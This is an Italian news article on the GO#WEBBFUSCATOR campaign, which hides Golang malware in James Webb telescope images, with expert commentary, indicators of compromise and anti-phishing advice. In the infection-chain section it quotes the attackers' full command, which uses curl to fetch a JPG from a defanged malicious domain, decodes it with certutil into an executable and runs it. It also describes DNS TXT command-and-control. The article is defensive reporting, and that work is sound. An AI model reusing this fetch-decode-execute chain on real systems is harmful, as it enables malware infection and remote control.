Steganografia

Malware nascosto nelle immagini del telescopio James Webb: come proteggersi

Scoperto codice malevolo nelle fotografie scattate dal telescopio James Webb, nascosto mediante la tecnica della steganografia. Una nuova esca perfetta per diffondere payload pericolosi. Ecco tutti i dettagli e i consigli per difendersi da questa minaccia

Pubblicato il 31 Ago 2022

Mirella Castigli

Giornalista

Malware immagini telescopio James Webb

Malware nascosto nelle immagini del popolare telescopio James Webb: lo hanno scoperto i ricercatori di Securonix. Sono payload che gli antivirus engine come la piattaforma di VirusTotal non hanno riconosciuto come malevoli, a causa dell’uso della steganografia.

“Questa campagna”, commenta Paolo Passeri, Principal Sales Engineer e Cyber Intelligence Specialist di Netskope, “utilizza un modus operandi consolidato da parte di criminali opportunistici. Usa cioè a fini malevoli eventi di vasto impatto mediatico, tuttavia con alcune interessanti variazioni”. Ecco quali.

Il malware nascosto nelle immagini del telescopio James Webb

Gli analisti lo hanno avvistato come una nuova campagna malware, chiamata GO#WEBBFUSCATOR. Usa come vettori d’infezione e-mail di phishing con documenti malevoli camiffati da immagini spaziali immortalate dal telescopio James Webb: tutto pur di diffondere malware.

“Lo sguardo senza precedenti verso gli angoli remoti dell’universo consentito dal telescopio James Webb”, continua Paolo Passeri, “ha popolato per giorni le principali testate giornalistiche di tutto il mondo. Da un lato, questo evento ha fornito un ottimo spunto agli attaccanti per lanciare nuove campagne criminali. Dall’altro lato, la stessa natura delle informazioni scambiate (immagini) ha facilitato ulteriormente il loro compito consentendo di utilizzare una delle più comuni tecniche di evasione, la steganografia che tende proprio a nascondere contenuto malevolo all’interno di immagini”.

La steganografia è “una tecnica comunemente utilizzata per evadere sia i controlli di sicurezza delle soluzioni di protezione del traffico, sia i controlli di sicurezza dell’utente che, in condizioni normali, non si aspetterebbe di essere infettato da un artefatto apparentemente innocuo come un’immagine”, evidenzia Passeri.

I cyber criminali hanno scritto il malware in Golang, un linguaggio di programmazione che sta guadagnando popularità fra il cyber crime perché è cross-platform (Windows, Linux, Mac) e offre crescente resistenza al reverse engineering e alle analisi tecniche.

“Un ulteriore elemento interessante di questa campagna consiste nell’utilizzo di malware scritto in Golang, un linguaggio sempre più popolare tra gli attaccanti sia per la sua natura trasversale a livello di piattaforma che per la sua resistenza a livello di reverse engineering. Questa caratteristica ne rende difficoltose le indagini da parte degli analisti di sicurezza”, mette in guardia Passeri.

Il vettore d’infezione: i dettagli

“GO#WEBBFUSCATOR è un nuovo malware basato sul linguaggio di programmazione Golang, che sfrutta email di phishing, documenti malevoli e immagini spaziali, provenienti dal telescopio James Webb, per infettare il sistema di destinazione”, precisa Mauro Gadaleta, Security Researcher di Exprivia. “Il malware è scritto in Golang in quanto tale linguaggio di programmazione è più resistente alle attività di analisi e decodifica da parte degli analisti”, continua Gadaleta, “rendendo quindi le operazioni di reverse engineering complicate”. “Inoltre tale linguaggio è flessibile per il supporto e la compilazione multipiattaforma e ciò consente agli attaccanti di realizzare malware che possono operare sui molteplici sistemi operativi. L’infezione comincia con una mail di phishing contenente il file Geos-Rates.docx. Il file contiene un riferimento esterno, nascosto all’interno dei metadati del documento, che scarica a sua volta un file dannoso. I malware sfrutta il campo “Target= hxxp://www.xmlschemeformat.com/update/2021/Office/form.dotm”, che cerca di mascherarsi come URL legittimo per estrarre il file form.dotm”, sottolinea l’esperto. “Una volta che il documento è aperto, il file dannoso è scaricato nel sistema. Tale file contiene un VBScript che avvierà la prima fase di esecuzione dell’attacco una volta che la vittima abilita le macro. Quindi lo script scaricherà sul sistema target una immagine JPG (“OxB36F8GEEC634.jpg”). Tale immagine, apparentemente innocua, contiene al suo interno codice malevolo in base64, mascherato da un certificato. Utilizzando “certutil.exe” l’attaccante decodifica il codice in base64 nascosto all’interno dell’immagine, lo memorizza nell’eseguibile “msdllupdate.exe” che, infine, esegue l’attacco. Questo viene fatto eseguendo sul terminale il comando: cmd.exe /c cd c:userstestappdatalocal & curl hxxp://www[.] xmlschemeformat.com/update/2021/office/oxb36f8geec634.jpg -o oxb36f8geec634.jpg & certutil -decode oxb36f8geec634.jpg msdllupdate.exe & msdllupdate.exe Una volta eseguito l’attacco il malware cerca di mantenere la persistenza copiandosi in “%%localappdata%%microsoftvault” e aggiungendo una nuova chiave di registro. A questo punto il malware stabilisce una comunicazione DNS con il Command&Control Server (C2), inviandogli query crittografate. Tuttavia, sul server C2 i messaggi possono essere letti e non sono cifrati; pertanto per ovviare al problema in GO#WEBBFUSCATOR, la comunicazione con il server C2 è implementata utilizzando richieste `TXT-DNS` con richieste `nslookup` al Name Server controllato dall’attaccante. Tutte le informazioni sono poi codificate con Base64”. “Il C2 può rispondere al malware impostando intervalli di tempo tra le richieste di connessione, modificando il timeout di nslookup o inviando comandi da eseguire tramite lo strumento cmd.exe di Windows. Ecco alcuni IoC utili per riconoscere il malware, classificati in Network Indicators e Host-Based Indicators: Network Identifiers:

  • xmlschemeformat.com updatesagent.com
  • apiregis.com 185.247.209.255 139.28.36.222

Host-Based Identifiers:

  • %LOCALAPPDATA%microsoftvaultMsdllupdate.exe 
  • %LOCALAPPDATA%microsoftvaultUpdate.bat
  • %LOCALAPPDATA%microsoftwindowsMsSafetyMsdllupdate.exe
  • %LOCALAPPDATA%microsoftvaultMsDb.db
  • da43ec30fe12c45529e51a0c986a856aa8772483875356f29382ac514788f86d (SHA256 del file Geos-Rates.docx)
  • 383136adaf956f1fab03de8c1064f7b9119b5b656bedda7ce3137bebbb2a920f (SHA256 del file form.dotm)
  • 3bdf6d9f0f35be75d8345d897ec838ae231ba01ae898f6d0c8f920ff4061fc22 (SHA256 del file OxB36F8GEEC634.jpg)
  • d09af37cdbae7273e4e7c79b242023ffdb07c8ccab2280db7fe511d2b14ad19c (SHA256 del file msdllupdate.exe
  • 07e3b96ed26b5af3dbf421e1ce4fb1f815350eaa80168d8617c070aea857be66
  • a60f4ec6229a572ce9898d3b80328552806961f195eedf02b6bc6bc2c1648aa0
  • 0c038e561799092c885beecd239ff06175f1496034a38049997518ce941dc79e
  • 255c974b388cdfa83fc869ce6541f23169361a9dfb5a8cea677f026fefed6dc0
  • a8e658ea1f8a57a7804c7054466879b48daebb461ef8e8866537b6fc6bf3750f”, conclude Gadaleta.

“Al momento dell’esecuzione”, mette in guardia Gianluca Porcelli, Security Researcher di Exprivia, “il malware stabilisce una connessione DNS ad un server di command and control (C&C). A seguito dei primi test effettuati, la comunicazione con il server C2 è implementata utilizzando richieste ‘TXT-DNS’ e nello specifico richieste ‘nslookup’ controllato dall’attaccante. Come tutti gli attacchi di questo tipo, i server di C&C a seguito di infezione di un computer, possono controllarlo in remoto tutto all’insaputa dell’utilizzatore del dispositivo. Da sottolineare il fatto che essendo una modalità di attacco persistente, anche a seguito di riavvio del PC, gli attaccanti avranno pieno controllo del dispositivo compromesso”.

Digital trust: concetto in crisi

“La nota più preoccupante di questa minaccia”, concludeGianluca Porcelli, “è che attualmente solo pochi sistemi di scansione malware sono in grado di identificare questa tipologia di minaccia”.

“Questa campagna”, sottolinea Passeri, “ripropone ancora una volta il rischio insito nel concetto di digital trust e le sue implicazioni nell’ambito della sicurezza”.

“Gli eventi degli ultimi anni, i continui lockdown e la conseguente crescita del lavoro remoto, hanno cambiato il concetto di fiducia degli utenti, che pongono ormai maggiore affidamento nelle interazioni digitali piuttosto che in quelle umane”, continua Passeri. “Tutto questo ha finito con l’abbassare il naturale livello di guardia dei cittadini digitali che reputano affidabile qualsiasi contenuto proveniente da internet (motori di ricerca o applicazioni cloud lecite) e non sono più abituati a controllare approfonditamente l’origine delle informazioni”.

Come proteggersi

Per difendesri è necessario avere maggiore consapevolezza dei rischi.

“Una superficie di attacco vasta è un’opportunità troppo ghiotta che i criminali non hanno tardato a monetizzare. Infatti, non è un caso che tecniche di SEO poisoning (ovvero l’utilizzo di algoritmi di Search Engine Optimization per posizionare link malevoli in cima ai risultati dei motori di ricerca) siano tornate in auge per la distribuzione di malware e altro contenuto malevolo. Il desiderio di ammirare le immagini meravigliose del telescopio Webb è certamente comprensibile, scaricarle dal primo link, lo è un po’ meno“, sottolinea Passeri.

Inoltre, bisogna sempre scaricare materiali da siti ufficiali e limitare la superficie di attacco, per evitare il download di codice malevolo: “Ribadire l’importanza del controllo approfondito della fonte di documenti e link, è di fondamentale importanza nello scenario di rischio attuale”, conclude Passeri.

Siti di brand noti e affidabili sono più sicuri di siti non sicuri, anche se, nell’era degli attacchi alle supply chain, non sempre garantiscono la sicurezza totale.

Infine, in caso di un eventuale attacco phishing sospetto bisogna evitare di rispondere, cliccare sui link e aprire gli allegati e cancellarla. Se è possibile, è meglio segnalare al team IT o di sicurezza il tentativo di truffa via posta elettronica.

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